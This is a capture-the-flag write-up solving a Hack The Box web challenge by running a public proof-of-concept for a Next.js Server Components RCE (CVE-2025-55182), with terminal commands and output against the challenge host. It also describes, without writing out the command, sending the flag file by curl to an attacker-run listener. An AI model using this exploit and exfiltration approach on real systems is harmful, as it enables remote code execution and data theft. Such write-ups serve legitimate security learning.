

Hack The Box Challenge

Writeup– By Ivailo Klisarov

Name: React00PS

Difficulty: Super Easy

Category: Web

The challenge is [React Next.js](#) application. There is no backend, only frontend .tsx files for layout and the page itself. If there is no backend then the very best next thing is to check what [dependencies](#) are installed in the [package.json](#):

```
package.json / ...
{
  "name": "react2shell",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",
    "lint": "next lint"
  },
  "dependencies": {
    "next": "16.0.6",
    "react": "^19",
    "react-dom": "^19"
  },
  "devDependencies": {
    "@types/node": "^20",
    "@types/react": "^19",
    "@types/react-dom": "^19",
    "autoprefixer": "^10.4.19",
    "eslint": "^9",
    "eslint-config-next": "16.0.6",
    "postcss": "^8.4.38",
    "tailwindcss": "^3.4.3",
    "typescript": "^5"
  }
}
```

As you can see we have a next and react for dependencies, this should be enough to point you in the next step of getting the [flag](#).

However the most obvious [hint](#) is:

["name": "react2shell"](#)

If you have been living under a rock.

React2shell is the name of a React next.js RCE exploit [CVE-2025-55182](#)

It exploits prototype pollution in React Server Components to achieve [RCE](#)

To check for an exploit we can type [CVE-2025-55182 POC](#)

I was able to find one

<https://github.com/acheong08/CVE-2025-55182-poc/tree/main>

```
(kali㉿kali)-[~/CVE-2025-55182-poc]
└─$ ./exploit-nextjs.sh http://154.57.164.79:31391 'a'
[*] CVE-2025-55182 Next.js RSC RCE Exploit
[*] Target: http://154.57.164.79:31391
[*] Command: a
[*] Timeout: 3s

[*] Sending exploit payload ...

[?] Received HTTP 500
[?] Exploit may or may not have worked

(kali㉿kali)-[~/CVE-2025-55182-poc]
└─$ ./exploit-nextjs.sh http://154.57.164.79:31391 'ls'
[*] CVE-2025-55182 Next.js RSC RCE Exploit
[*] Target: http://154.57.164.79:31391
[*] Command: ls
[*] Timeout: 3s

[*] Sending exploit payload ...

[+] SUCCESS - Request timed out (server hung executing command)
[+] Command 'ls' was likely executed on the target
```

It looks like the exploit does not return any output so we can't just open flag.txt and read it.

I tried moving the flag.txt so it will be visible on the page:

```
cat /app/flag.txt > /app/.next/standalone/.next/static/chunks/flag.txt
```

But that did **not work**. Also tested some reverse shells, but the app is probably in a docker file with very limited tools. Luckily they have provided us with the **Dockerfile**:

```
RUN apk add --no-cache libc6-compat curl
COPY challenge/flag.txt /app/flag.txt
```

First we know where flag.txt is in /app

Second that **curl** has been installed `apk add --no-cache libc6-compat curl`

Maybe curl reverse shell might have worked but I decided to start a listener on my public VPS and curl the flag to it

